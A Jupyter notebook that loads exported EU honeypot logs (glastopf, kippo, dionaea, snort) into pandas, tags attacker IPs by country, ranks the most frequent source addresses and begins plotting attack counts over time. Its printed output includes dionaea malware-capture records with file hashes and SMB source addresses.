EU Honeypot Data Analysis.ipynb

{
 "metadata": {
  "name": "",
  "signature": "sha256:da15d3fa6ee084e36b4c21d5fcd4e63d979bfd56b8a7397d2ae664fa0334f49a"
 },
 "nbformat": 3,
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 "worksheets": [
  {
   "cells": [
    {
     "cell_type": "heading",
     "level": 1,
     "metadata": {},
     "source": [
      "Analysis of distributed honeypot data"
     ]
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Step 1: Initialise and import the required modules/libraries."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%matplotlib inline\n",
      "import pandas as pd\n",
      "import json\n",
      "import pylab\n",
      "import sys\n",
      "pylab.rcParams[figure.figsize] = (16.0, 5.0)"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "ename": "AttributeError",
       "evalue": "'function' object has no attribute 'figsize'",
       "output_type": "pyerr",
       "traceback": [
        "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m\n\u001b[0;31mAttributeError\u001b[0m                            Traceback (most recent call last)",
        "\u001b[0;32m<ipython-input-1-2b4d1774b5e4>\u001b[0m in \u001b[0;36m<module>\u001b[0;34m()\u001b[0m\n\u001b[1;32m      4\u001b[0m \u001b[0;32mimport\u001b[0m \u001b[0mpylab\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m      5\u001b[0m \u001b[0;32mimport\u001b[0m \u001b[0msys\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m----> 6\u001b[0;31m \u001b[0mpylab\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mrcParams\u001b[0m\u001b[0;34m[\u001b[0m\u001b[0mfigure\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mfigsize\u001b[0m\u001b[0;34m]\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0;34m(\u001b[0m\u001b[0;36m16.0\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0;36m5.0\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m",
        "\u001b[0;31mAttributeError\u001b[0m: 'function' object has no attribute 'figsize'"
       ]
      }
     ],
     "prompt_number": 1
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Step 2: Open the JSON file containing all of our exported MHN data and append then prepare each honeypot data channel."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "f = open('EU_honeypot_data.json')\n",
      "count = 0\n",
      "glastopf = []\n",
      "kippo = []\n",
      "dionaea = []\n",
      "snort = []\n",
      "for line in f:\n",
      "    j = json.loads(line)\n",
      "    temp = []\n",
      "    temp.append(j[\"_id\"][\"$oid\"])\n",
      "    temp.append(j[\"ident\"])\n",
      "    temp.append(j[\"normalized\"])\n",
      "    temp.append(j[\"timestamp\"][\"$date\"])\n",
      "    temp.append(j[\"channel\"])\n",
      "    try:\n",
      "        payload = json.loads(j[\"payload\"])\n",
      "        if j[\"channel\"] == \"glastopf.events\":\n",
      "            temp.append(payload[\"pattern\"])\n",
      "            temp.append(payload[\"filename\"])\n",
      "            temp.append(payload[\"request_raw\"])\n",
      "            temp.append(payload[\"request_url\"])\n",
      "            temp.append(payload[\"source\"][0])\n",
      "            temp.append(payload[\"source\"][1])\n",
      "            glastopf.append(temp)\n",
      "        elif j[\"channel\"] == \"kippo.sessions\":\n",
      "            temp.append(payload[\"peerIP\"])\n",
      "            temp.append(payload[\"commands\"])\n",
      "            temp.append(payload[\"loggedin\"])\n",
      "            temp.append(payload[\"version\"])\n",
      "            temp.append(payload[\"urls\"])\n",
      "            temp.append(payload[\"hostPort\"])\n",
      "            temp.append(payload[\"session\"])\n",
      "            temp.append(payload[\"credentials\"])\n",
      "            temp.append(payload[\"commands\"])\n",
      "            kippo.append(temp)\n",
      "        elif j[\"channel\"] == \"dionaea.connections\":\n",
      "            temp.append(payload[\"local_host\"])\n",
      "            temp.append(payload[\"remote_hostname\"])\n",
      "            temp.append(payload[\"connection_transport\"])\n",
      "            temp.append(payload[\"remote_port\"])\n",
      "            temp.append(payload[\"remote_host\"])\n",
      "            temp.append(payload[\"connection_type\"])\n",
      "            temp.append(payload[\"connection_protocol\"])\n",
      "            temp.append(payload[\"local_port\"])\n",
      "            dionaea.append(temp)\n",
      "        elif j[\"channel\"] == \"snort.alerts\":\n",
      "            temp.append(payload[\"source_ip\"])\n",
      "            temp.append(payload[\"priority\"])\n",
      "            temp.append(payload[\"signature\"])\n",
      "            temp.append(payload[\"proto\"])\n",
      "            temp.append(payload[\"destination_port\"])\n",
      "            snort.append(temp)\n",
      "        else:\n",
      "            print j\n",
      "    except Exception as e:\n",
      "        print str(e)\n",
      "f.close()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-08T10:17:21.226+0000'}, u'normalized': True, u'_id': {u'$oid': u'54fc21b176a72d7572716fd9'}, u'payload': u'{\"sha512\": \"f2b15fc7a6a255aeb1f66a66069482a0a882a43e00d4dcbeb41544ecd86089cd5bf614a8d9949792b6eff8248e9f213a2ebb4ca16597bc5b9b85dcf7be342ae8\", \"md5\": \"7867de13bf22a7f3e3559044053e33e7\", \"sport\": \"1522\", \"url\": \"smb://189.53.73.114\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"189.53.73.114\"}', u'channel': u'dionaea.capture'}\n",
        "Extra data: line 1 column 2 - line 1 column 66257 (char 1 - 66256)\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-08T10:18:17.045+0000'}, u'normalized': True, u'_id': {u'$oid': u'54fc21e976a72d7572716fe4'}, u'payload': u'{\"sha512\": \"f2b15fc7a6a255aeb1f66a66069482a0a882a43e00d4dcbeb41544ecd86089cd5bf614a8d9949792b6eff8248e9f213a2ebb4ca16597bc5b9b85dcf7be342ae8\", \"md5\": \"7867de13bf22a7f3e3559044053e33e7\", \"sport\": \"1522\", \"url\": \"smb://189.53.73.114\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"189.53.73.114\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-08T10:19:25.116+0000'}, u'normalized': True, u'_id': {u'$oid': u'54fc222d76a72d7572716fe8'}, u'payload': u'{\"sha512\": \"f2b15fc7a6a255aeb1f66a66069482a0a882a43e00d4dcbeb41544ecd86089cd5bf614a8d9949792b6eff8248e9f213a2ebb4ca16597bc5b9b85dcf7be342ae8\", \"md5\": \"7867de13bf22a7f3e3559044053e33e7\", \"sport\": \"4695\", \"url\": \"smb://189.53.73.114\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"189.53.73.114\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-08T10:20:18.999+0000'}, u'normalized': True, u'_id': {u'$oid': u'54fc226276a72d7572716fec'}, u'payload': u'{\"sha512\": \"f2b15fc7a6a255aeb1f66a66069482a0a882a43e00d4dcbeb41544ecd86089cd5bf614a8d9949792b6eff8248e9f213a2ebb4ca16597bc5b9b85dcf7be342ae8\", \"md5\": \"7867de13bf22a7f3e3559044053e33e7\", \"sport\": \"4695\", \"url\": \"smb://189.53.73.114\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"189.53.73.114\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-08T10:21:25.929+0000'}, u'normalized': True, u'_id': {u'$oid': u'54fc22a576a72d7572716ff0'}, u'payload': u'{\"sha512\": \"f2b15fc7a6a255aeb1f66a66069482a0a882a43e00d4dcbeb41544ecd86089cd5bf614a8d9949792b6eff8248e9f213a2ebb4ca16597bc5b9b85dcf7be342ae8\", \"md5\": \"7867de13bf22a7f3e3559044053e33e7\", \"sport\": \"4767\", \"url\": \"smb://189.53.73.114\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"189.53.73.114\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-08T10:22:20.963+0000'}, u'normalized': True, u'_id': {u'$oid': u'54fc22dc76a72d7572716ff2'}, u'payload': u'{\"sha512\": \"f2b15fc7a6a255aeb1f66a66069482a0a882a43e00d4dcbeb41544ecd86089cd5bf614a8d9949792b6eff8248e9f213a2ebb4ca16597bc5b9b85dcf7be342ae8\", \"md5\": \"7867de13bf22a7f3e3559044053e33e7\", \"sport\": \"4767\", \"url\": \"smb://189.53.73.114\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"189.53.73.114\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-12T18:33:58.760+0000'}, u'normalized': True, u'_id': {u'$oid': u'5501dc1676a72d757271a80a'}, u'payload': u'{\"sha512\": \"284d28a084888eb4e5971d0edad8a877ff35b5dfcc8dd275314e4e6312595f3ca3194dece02111dc0f0c95ee217111f3602988c80326f91acdf79a1d1134ab3d\", \"md5\": \"786ab616239814616642ba4438df78a9\", \"sport\": \"3323\", \"url\": \"smb://136.159.104.142\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"136.159.104.142\"}', u'channel': u'dionaea.capture'}"
       ]
      },
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-12T18:34:44.619+0000'}, u'normalized': True, u'_id': {u'$oid': u'5501dc4476a72d757271a80c'}, u'payload': u'{\"sha512\": \"284d28a084888eb4e5971d0edad8a877ff35b5dfcc8dd275314e4e6312595f3ca3194dece02111dc0f0c95ee217111f3602988c80326f91acdf79a1d1134ab3d\", \"md5\": \"786ab616239814616642ba4438df78a9\", \"sport\": \"3323\", \"url\": \"smb://136.159.104.142\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"136.159.104.142\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-12T18:35:52.002+0000'}, u'normalized': True, u'_id': {u'$oid': u'5501dc8876a72d757271a810'}, u'payload': u'{\"sha512\": \"284d28a084888eb4e5971d0edad8a877ff35b5dfcc8dd275314e4e6312595f3ca3194dece02111dc0f0c95ee217111f3602988c80326f91acdf79a1d1134ab3d\", \"md5\": \"786ab616239814616642ba4438df78a9\", \"sport\": \"3369\", \"url\": \"smb://136.159.104.142\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"136.159.104.142\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-12T18:36:26.972+0000'}, u'normalized': True, u'_id': {u'$oid': u'5501dcaa76a72d757271a812'}, u'payload': u'{\"sha512\": \"284d28a084888eb4e5971d0edad8a877ff35b5dfcc8dd275314e4e6312595f3ca3194dece02111dc0f0c95ee217111f3602988c80326f91acdf79a1d1134ab3d\", \"md5\": \"786ab616239814616642ba4438df78a9\", \"sport\": \"3369\", \"url\": \"smb://136.159.104.142\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"136.159.104.142\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-12T18:37:34.680+0000'}, u'normalized': True, u'_id': {u'$oid': u'5501dcee76a72d757271a81a'}, u'payload': u'{\"sha512\": \"284d28a084888eb4e5971d0edad8a877ff35b5dfcc8dd275314e4e6312595f3ca3194dece02111dc0f0c95ee217111f3602988c80326f91acdf79a1d1134ab3d\", \"md5\": \"786ab616239814616642ba4438df78a9\", \"sport\": \"1082\", \"url\": \"smb://136.159.104.142\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"136.159.104.142\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-12T18:38:09.334+0000'}, u'normalized': True, u'_id': {u'$oid': u'5501dd1176a72d757271a81c'}, u'payload': u'{\"sha512\": \"284d28a084888eb4e5971d0edad8a877ff35b5dfcc8dd275314e4e6312595f3ca3194dece02111dc0f0c95ee217111f3602988c80326f91acdf79a1d1134ab3d\", \"md5\": \"786ab616239814616642ba4438df78a9\", \"sport\": \"1082\", \"url\": \"smb://136.159.104.142\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"136.159.104.142\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-14T12:32:17.733+0000'}, u'normalized': True, u'_id': {u'$oid': u'55042a5176a72d757271ae26'}, u'payload': u'{\"sha512\": \"f2b15fc7a6a255aeb1f66a66069482a0a882a43e00d4dcbeb41544ecd86089cd5bf614a8d9949792b6eff8248e9f213a2ebb4ca16597bc5b9b85dcf7be342ae8\", \"md5\": \"7867de13bf22a7f3e3559044053e33e7\", \"sport\": \"19116\", \"url\": \"smb://93.150.29.50\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"93.150.29.50\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-14T12:33:56.522+0000'}, u'normalized': True, u'_id': {u'$oid': u'55042ab476a72d757271ae2a'}, u'payload': u'{\"sha512\": \"f2b15fc7a6a255aeb1f66a66069482a0a882a43e00d4dcbeb41544ecd86089cd5bf614a8d9949792b6eff8248e9f213a2ebb4ca16597bc5b9b85dcf7be342ae8\", \"md5\": \"7867de13bf22a7f3e3559044053e33e7\", \"sport\": \"56792\", \"url\": \"smb://93.150.29.50\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"93.150.29.50\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-14T12:35:35.078+0000'}, u'normalized': True, u'_id': {u'$oid': u'55042b1776a72d757271ae34'}, u'payload': u'{\"sha512\": \"f2b15fc7a6a255aeb1f66a66069482a0a882a43e00d4dcbeb41544ecd86089cd5bf614a8d9949792b6eff8248e9f213a2ebb4ca16597bc5b9b85dcf7be342ae8\", \"md5\": \"7867de13bf22a7f3e3559044053e33e7\", \"sport\": \"14163\", \"url\": \"smb://93.150.29.50\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"93.150.29.50\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-16T01:28:23.842+0000'}, u'normalized': True, u'_id': {u'$oid': u'550631b776a72d757271b81c'}, u'payload': u'{\"sha512\": \"284d28a084888eb4e5971d0edad8a877ff35b5dfcc8dd275314e4e6312595f3ca3194dece02111dc0f0c95ee217111f3602988c80326f91acdf79a1d1134ab3d\", \"md5\": \"786ab616239814616642ba4438df78a9\", \"sport\": \"4161\", \"url\": \"smb://126.120.32.60\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"126.120.32.60\"}', u'channel': u'dionaea.capture'}"
       ]
      },
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-16T01:28:58.317+0000'}, u'normalized': True, u'_id': {u'$oid': u'550631da76a72d757271b81e'}, u'payload': u'{\"sha512\": \"284d28a084888eb4e5971d0edad8a877ff35b5dfcc8dd275314e4e6312595f3ca3194dece02111dc0f0c95ee217111f3602988c80326f91acdf79a1d1134ab3d\", \"md5\": \"786ab616239814616642ba4438df78a9\", \"sport\": \"4161\", \"url\": \"smb://126.120.32.60\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"126.120.32.60\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-16T01:30:22.576+0000'}, u'normalized': True, u'_id': {u'$oid': u'5506322e76a72d757271b822'}, u'payload': u'{\"sha512\": \"284d28a084888eb4e5971d0edad8a877ff35b5dfcc8dd275314e4e6312595f3ca3194dece02111dc0f0c95ee217111f3602988c80326f91acdf79a1d1134ab3d\", \"md5\": \"786ab616239814616642ba4438df78a9\", \"sport\": \"1061\", \"url\": \"smb://126.120.32.60\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"126.120.32.60\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-16T01:31:14.817+0000'}, u'normalized': True, u'_id': {u'$oid': u'5506326276a72d757271b826'}, u'payload': u'{\"sha512\": \"284d28a084888eb4e5971d0edad8a877ff35b5dfcc8dd275314e4e6312595f3ca3194dece02111dc0f0c95ee217111f3602988c80326f91acdf79a1d1134ab3d\", \"md5\": \"786ab616239814616642ba4438df78a9\", \"sport\": \"1061\", \"url\": \"smb://126.120.32.60\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"126.120.32.60\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-16T01:32:24.767+0000'}, u'normalized': True, u'_id': {u'$oid': u'550632a876a72d757271b82a'}, u'payload': u'{\"sha512\": \"284d28a084888eb4e5971d0edad8a877ff35b5dfcc8dd275314e4e6312595f3ca3194dece02111dc0f0c95ee217111f3602988c80326f91acdf79a1d1134ab3d\", \"md5\": \"786ab616239814616642ba4438df78a9\", \"sport\": \"2808\", \"url\": \"smb://126.120.32.60\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"126.120.32.60\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-16T02:10:11.913+0000'}, u'normalized': True, u'_id': {u'$oid': u'55063b8376a72d757271b832'}, u'payload': u'{\"sha512\": \"f2b15fc7a6a255aeb1f66a66069482a0a882a43e00d4dcbeb41544ecd86089cd5bf614a8d9949792b6eff8248e9f213a2ebb4ca16597bc5b9b85dcf7be342ae8\", \"md5\": \"7867de13bf22a7f3e3559044053e33e7\", \"sport\": \"3940\", \"url\": \"smb://195.13.222.99\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"195.13.222.99\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-16T02:10:52.075+0000'}, u'normalized': True, u'_id': {u'$oid': u'55063bac76a72d757271b834'}, u'payload': u'{\"sha512\": \"f2b15fc7a6a255aeb1f66a66069482a0a882a43e00d4dcbeb41544ecd86089cd5bf614a8d9949792b6eff8248e9f213a2ebb4ca16597bc5b9b85dcf7be342ae8\", \"md5\": \"7867de13bf22a7f3e3559044053e33e7\", \"sport\": \"3940\", \"url\": \"smb://195.13.222.99\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"195.13.222.99\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-16T02:11:54.903+0000'}, u'normalized': True, u'_id': {u'$oid': u'55063bea76a72d757271b83c'}, u'payload': u'{\"sha512\": \"f2b15fc7a6a255aeb1f66a66069482a0a882a43e00d4dcbeb41544ecd86089cd5bf614a8d9949792b6eff8248e9f213a2ebb4ca16597bc5b9b85dcf7be342ae8\", \"md5\": \"7867de13bf22a7f3e3559044053e33e7\", \"sport\": \"1074\", \"url\": \"smb://195.13.222.99\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"195.13.222.99\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-16T02:12:53.657+0000'}, u'normalized': True, u'_id': {u'$oid': u'55063c2576a72d757271b83e'}, u'payload': u'{\"sha512\": \"f2b15fc7a6a255aeb1f66a66069482a0a882a43e00d4dcbeb41544ecd86089cd5bf614a8d9949792b6eff8248e9f213a2ebb4ca16597bc5b9b85dcf7be342ae8\", \"md5\": \"7867de13bf22a7f3e3559044053e33e7\", \"sport\": \"1074\", \"url\": \"smb://195.13.222.99\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"195.13.222.99\"}', u'channel': u'dionaea.capture'}\n",
        "{u'ident': u'24f0a7da-c328-11e4-90aa-0aebd2b5fd59', u'timestamp': {u'$date': u'2015-03-16T02:13:57.156+0000'}, u'normalized': True, u'_id': {u'$oid': u'55063c6576a72d757271b842'}, u'payload': u'{\"sha512\": \"f2b15fc7a6a255aeb1f66a66069482a0a882a43e00d4dcbeb41544ecd86089cd5bf614a8d9949792b6eff8248e9f213a2ebb4ca16597bc5b9b85dcf7be342ae8\", \"md5\": \"7867de13bf22a7f3e3559044053e33e7\", \"sport\": \"1270\", \"url\": \"smb://195.13.222.99\", \"dport\": \"445\", \"daddr\": \"172.31.19.166\", \"saddr\": \"195.13.222.99\"}', u'channel': u'dionaea.capture'}\n"
       ]
      }
     ],
     "prompt_number": 2
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Step 3: The next step is to create a new dataframe for each of the honeypots and their respective data columns."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df = pd.DataFrame(glastopf, columns=['id','ident','normalized','timestamp','channel','pattern','filename','request_raw','request_url','attackerIP','attackerPort'])\n",
      "kippo_df = pd.DataFrame(kippo, columns=['id','ident','normalized','timestamp', 'channel', 'peerIP','commands','loggedin','version','urls','hostPort','session','credentials', 'commands'])\n",
      "dionaea_df = pd.DataFrame(dionaea, columns=['id','ident','normalized','timestamp','channel','local_host','remote_hostname','connection_transport','remote_port', 'remote_host', 'connection_type', 'connection_protocol', 'local_port'])\n",
      "snort_df = pd.DataFrame(snort, columns=['id', 'ident', 'normalized', 'timestamp', 'channel', 'source_ip', 'priority', 'signature', 'proto', 'destination_port'])"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 3
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Step 4: Clean up the data by converting the timestamp column from the data to a datetime data type."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df['timestamp'] = glastopf_df['timestamp'].apply(lambda x: str(x).replace('T', 'T '))\n",
      "kippo_df['timestamp'] = kippo_df['timestamp'].apply(lambda x: str(x).replace('T', 'T '))\n",
      "dionaea_df['timestamp'] = dionaea_df['timestamp'].apply(lambda x: str(x).replace('T', 'T '))\n",
      "snort_df['timestamp'] = snort_df['timestamp'].apply(lambda x: str(x).replace('T', 'T '))"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 4
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df['timestamp'] = pd.to_datetime(glastopf_df['timestamp'])\n",
      "kippo_df['timestamp'] = pd.to_datetime(kippo_df['timestamp'])\n",
      "dionaea_df['timestamp'] = pd.to_datetime(dionaea_df['timestamp'])\n",
      "snort_df['timestamp'] = pd.to_datetime(snort_df['timestamp'])"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 5
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "import GeoIP\n",
      "\n",
      "gi = GeoIP.new(GeoIP.GEOIP_MEMORY_CACHE)\n",
      "\n",
      "glastopf_df['attackerCountry'] = glastopf_df['attackerIP'].apply(lambda x: gi.country_name_by_addr(x))\n",
      "kippo_df['attackerCountry'] = kippo_df['peerIP'].apply(lambda x: gi.country_name_by_addr(x))\n",
      "dionaea_df['attackerCountry'] = dionaea_df['remote_host'].apply(lambda x: gi.country_name_by_addr(x))\n",
      "snort_df['attackerCountry'] = snort_df['source_ip'].apply(lambda x: gi.country_name_by_addr(x))"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 6
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Step 5: Place all of our attacker IP address from the various honeypots into a single array."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df['allattackerIP'] = glastopf_df['attackerIP']\n",
      "kippo_df['allattackerIP'] = kippo_df['peerIP']\n",
      "dionaea_df['allattackerIP'] = dionaea_df['remote_host']\n",
      "snort_df['allattackerIP'] = snort_df['source_ip']\n",
      "\n",
      "glastopf_df['allattackedPorts'] = glastopf_df['attackerPort']\n",
      "kippo_df['allattackedPorts'] = kippo_df['hostPort']\n",
      "dionaea_df['allattackedPorts'] = dionaea_df['local_port']\n",
      "snort_df['allattackedPorts'] = snort_df['destination_port']"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 7
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Step 6: Create a new dataframe that has some information which is common the the dataframes created above."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "cols = ['channel','timestamp','allattackerIP', 'allattackedPorts', 'attackerCountry', 'ident']\n",
      "\n",
      "attacker_df = pd.DataFrame()\n",
      "attacker_df = attacker_df.append(glastopf_df[cols], ignore_index=True)\n",
      "attacker_df = attacker_df.append(kippo_df[cols], ignore_index=True)\n",
      "attacker_df = attacker_df.append(dionaea_df[cols], ignore_index=True)\n",
      "attacker_df = attacker_df.append(snort_df[cols], ignore_index=True)"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 8
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Step 7: Reindex our data by timeseries/timestamp"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "attacker_df = attacker_df.set_index('timestamp')"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 9
    },
    {
     "cell_type": "heading",
     "level": 2,
     "metadata": {},
     "source": [
      "Now, we can start to visualize our data."
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {},
     "source": [
      "View the top 20 IP Addresses which attacked our honeypots most often."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "attacker_df['allattackerIP'].value_counts().head(20)"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 10,
       "text": [
        "88.150.240.125     519\n",
        "5.189.190.182      327\n",
        "192.187.100.18     246\n",
        "155.94.65.234      135\n",
        "173.255.221.243     46\n",
        "37.75.215.47        41\n",
        "115.231.218.131     38\n",
        "115.231.218.130     34\n",
        "218.77.79.43        34\n",
        "60.169.79.93        31\n",
        "62.75.222.235       27\n",
        "37.75.212.79        27\n",
        "95.211.188.157      23\n",
        "122.224.19.220      23\n",
        "27.124.118.172      23\n",
        "202.105.183.89      22\n",
        "69.30.254.10        21\n",
        "122.228.207.193     19\n",
        "111.74.238.15       19\n",
        "122.228.207.190     16\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 10
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "This is a graph plotting the total attacks over time."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "from matplotlib import pyplot as plt\n",
      "mpl.style.use('ggplot')\n",
      "fig = plt.figure(figsize=(16, 8))\n",
      "fig.suptitle('EU Region - Total Events Over Time', fontsize=20)\n",
      "plt.plot(attacker_df['allattackerIP'].resample(\"D\", how='count'),linewidth=4,c=\"g\", label=\"Total Attacks\")\n",
      "plt.legend(bbox_to_anchor=(1.15, 1), loc=2, borderaxespad=1.)  \n",
      "plt.xlabel('Day Number')\n",
      "plt.ylabel('Number of Attacks')\n",
      "plt.show()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "display_data",
